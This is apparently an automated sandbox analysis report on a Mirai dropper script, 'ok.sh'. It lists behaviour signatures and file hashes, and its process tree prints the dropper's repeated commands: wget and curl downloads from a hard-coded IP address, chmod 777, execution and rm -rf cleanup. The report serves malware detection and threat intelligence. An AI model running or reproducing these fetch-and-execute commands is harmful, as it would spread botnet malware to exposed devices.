Analysis

  • max time kernel
    136s
  • max time network
    134s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    22/06/2026, 16:25

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260622-txecases7k
  • SHA256 0bc4cf3fed9fd5c474fd5a3cfd4b8b47b3f559942eeecad0066bb507a1e0e25f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:1490
    • /usr/bin/wget
      wget http://5.182.210.61/3dfa29
      2⤵
      • Writes file to tmp directory
      PID:1492
    • /usr/bin/curl
      curl -O http://5.182.210.61/3dfa29
      2⤵
      • Writes file to tmp directory
      PID:1497
    • /bin/chmod
      chmod 777 3dfa29
      2⤵
      • File and Directory Permissions Modification
      PID:1498
    • /tmp/3dfa29
      ./3dfa29 bc
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:1499
    • /bin/rm
      rm -rf 3dfa29
      2⤵
        PID:1501
      • /bin/rm
        rm -rf 3dfa29.1
        2⤵
          PID:1504
        • /usr/bin/wget
          wget http://5.182.210.61/c482f7
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /usr/bin/curl
          curl -O http://5.182.210.61/c482f7
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/chmod
          chmod 777 c482f7
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /tmp/c482f7
          ./c482f7 bc
          2⤵
            PID:1508
          • /bin/rm
            rm -rf c482f7
            2⤵
              PID:1510
            • /bin/rm
              rm -rf c482f7.1
              2⤵
                PID:1511
              • /usr/bin/wget
                wget http://5.182.210.61/1453be
                2⤵
                • Writes file to tmp directory
                PID:1512
              • /usr/bin/curl
                curl -O http://5.182.210.61/1453be
                2⤵
                • Writes file to tmp directory
                PID:1513
              • /bin/chmod
                chmod 777 1453be
                2⤵
                • File and Directory Permissions Modification
                PID:1514
              • /tmp/1453be
                ./1453be bc
                2⤵
                  PID:1515
                • /bin/rm
                  rm -rf 1453be
                  2⤵
                    PID:1517
                  • /bin/rm
                    rm -rf 1453be.1
                    2⤵
                      PID:1518
                    • /usr/bin/wget
                      wget http://5.182.210.61/76f105
                      2⤵
                      • Writes file to tmp directory
                      PID:1519
                    • /usr/bin/curl
                      curl -O http://5.182.210.61/76f105
                      2⤵
                      • Writes file to tmp directory
                      PID:1520
                    • /bin/chmod
                      chmod 777 76f105
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1521
                    • /tmp/76f105
                      ./76f105 bc
                      2⤵
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:1522
                    • /bin/rm
                      rm -rf 76f105
                      2⤵
                        PID:1524
                      • /bin/rm
                        rm -rf 76f105.1
                        2⤵
                          PID:1527
                        • /usr/bin/wget
                          wget http://5.182.210.61/5eab74
                          2⤵
                          • Writes file to tmp directory
                          PID:1528
                        • /usr/bin/curl
                          curl -O http://5.182.210.61/5eab74
                          2⤵
                          • Writes file to tmp directory
                          PID:1529
                        • /bin/chmod
                          chmod 777 5eab74
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1530
                        • /tmp/5eab74
                          ./5eab74 bc
                          2⤵
                            PID:1531
                          • /bin/rm
                            rm -rf 5eab74
                            2⤵
                              PID:1533
                            • /bin/rm
                              rm -rf 5eab74.1
                              2⤵
                                PID:1534
                              • /usr/bin/wget
                                wget http://5.182.210.61/259653
                                2⤵
                                • Writes file to tmp directory
                                PID:1535
                              • /usr/bin/curl
                                curl -O http://5.182.210.61/259653
                                2⤵
                                • Writes file to tmp directory
                                PID:1536
                              • /bin/chmod
                                chmod 777 259653
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1537
                              • /tmp/259653
                                ./259653 bc
                                2⤵
                                  PID:1538
                                • /bin/rm
                                  rm -rf 259653
                                  2⤵
                                    PID:1540
                                  • /bin/rm
                                    rm -rf 259653.1
                                    2⤵
                                      PID:1541
                                    • /usr/bin/wget
                                      wget http://5.182.210.61/e5a1f7
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1542
                                    • /usr/bin/curl
                                      curl -O http://5.182.210.61/e5a1f7
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1543
                                    • /bin/chmod
                                      chmod 777 e5a1f7
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1544
                                    • /tmp/e5a1f7
                                      ./e5a1f7 bc
                                      2⤵
                                        PID:1545
                                      • /bin/rm
                                        rm -rf e5a1f7
                                        2⤵
                                          PID:1547
                                        • /bin/rm
                                          rm -rf e5a1f7.1
                                          2⤵
                                            PID:1548
                                          • /usr/bin/wget
                                            wget http://5.182.210.61/fa906b
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1549
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.61/fa906b
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1550
                                          • /bin/chmod
                                            chmod 777 fa906b
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1551
                                          • /tmp/fa906b
                                            ./fa906b bc
                                            2⤵
                                              PID:1552
                                            • /bin/rm
                                              rm -rf fa906b
                                              2⤵
                                                PID:1554
                                              • /bin/rm
                                                rm -rf fa906b.1
                                                2⤵
                                                  PID:1555
                                                • /usr/bin/wget
                                                  wget http://5.182.210.61/d34e03
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1556
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.61/d34e03
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1557
                                                • /bin/chmod
                                                  chmod 777 d34e03
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1558
                                                • /tmp/d34e03
                                                  ./d34e03 bc
                                                  2⤵
                                                    PID:1559
                                                  • /bin/rm
                                                    rm -rf d34e03
                                                    2⤵
                                                      PID:1561
                                                    • /bin/rm
                                                      rm -rf d34e03.1
                                                      2⤵
                                                        PID:1562
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.61/37bdbc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1563
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.61/37bdbc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1564
                                                      • /bin/chmod
                                                        chmod 777 37bdbc
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1565
                                                      • /tmp/37bdbc
                                                        ./37bdbc bc
                                                        2⤵
                                                          PID:1566
                                                        • /bin/rm
                                                          rm -rf 37bdbc
                                                          2⤵
                                                            PID:1568
                                                          • /bin/rm
                                                            rm -rf 37bdbc.1
                                                            2⤵
                                                              PID:1569
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.61/7ceda2
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:1570
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.61/7ceda2
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:1571
                                                            • /bin/chmod
                                                              chmod 777 7ceda2
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:1572
                                                            • /tmp/7ceda2
                                                              ./7ceda2 bc
                                                              2⤵
                                                                PID:1573
                                                              • /bin/rm
                                                                rm -rf 7ceda2
                                                                2⤵
                                                                  PID:1575
                                                                • /bin/rm
                                                                  rm -rf 7ceda2.1
                                                                  2⤵
                                                                    PID:1576
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/21ab20
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1577
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/21ab20
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1578
                                                                  • /bin/chmod
                                                                    chmod 777 21ab20
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:1579
                                                                  • /tmp/21ab20
                                                                    ./21ab20 bc
                                                                    2⤵
                                                                      PID:1580
                                                                    • /bin/rm
                                                                      rm -rf 21ab20
                                                                      2⤵
                                                                        PID:1582
                                                                      • /bin/rm
                                                                        rm -rf 21ab20.1
                                                                        2⤵
                                                                          PID:1583

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            1453be

                                                                            • Path /tmp/1453be
                                                                            • Size 47KB
                                                                            • SHA256 df7c62b363067b9246e07bc11a5baf073492058e76d4e55a47d7b76ddb720860
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            21ab20

                                                                            • Path /tmp/21ab20
                                                                            • Size 57KB
                                                                            • SHA256 3b1e5dc338ee8e4793d1d2183ca0343c87797ce163406ef686f011a70721233d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            259653

                                                                            • Path /tmp/259653
                                                                            • Size 49KB
                                                                            • SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            37bdbc

                                                                            • Path /tmp/37bdbc
                                                                            • Size 63KB
                                                                            • SHA256 ad30815f17aa159560014af28a3022e4bc6bd901ab454bdc2fe067ec1436b47d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3dfa29

                                                                            • Path /tmp/3dfa29
                                                                            • Size 42KB
                                                                            • SHA256 459d8396f635b67eb1324e553de8187306a108f4f0f7d78792cd3abfcbcfe900
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            5eab74

                                                                            • Path /tmp/5eab74
                                                                            • Size 48KB
                                                                            • SHA256 e75d0ad374ac610f53a440128ce5a3be8ffd016fc5ef16cc1d029d465f0f9f36
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            76f105

                                                                            • Path /tmp/76f105
                                                                            • Size 45KB
                                                                            • SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7ceda2

                                                                            • Path /tmp/7ceda2
                                                                            • Size 45KB
                                                                            • SHA256 6d5869023af5ef528acdc1c43aab42fd7e764ff9e232320e8c3d9c7e30033209
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c482f7

                                                                            • Path /tmp/c482f7
                                                                            • Size 40KB
                                                                            • SHA256 deae8b8f3adf3c9517f537cc28aeda5541ef996d4af85d5a804c0257b08dfdb2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            d34e03

                                                                            • Path /tmp/d34e03
                                                                            • Size 42KB
                                                                            • SHA256 d5b4241db6212225218b685016c6388e7db74013c20d536d9a82f61bab6a127a
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            e5a1f7

                                                                            • Path /tmp/e5a1f7
                                                                            • Size 117KB
                                                                            • SHA256 8357e5ce33843cc608dd8d36f2f782a78c3ae6001324b52d9b877d3571818e88
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            fa906b

                                                                            • Path /tmp/fa906b
                                                                            • Size 61KB
                                                                            • SHA256 de2ce4c85ca73390b92b7fa401b361e67268aead7abb9aa0e0a6e1aad3ed2d79
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH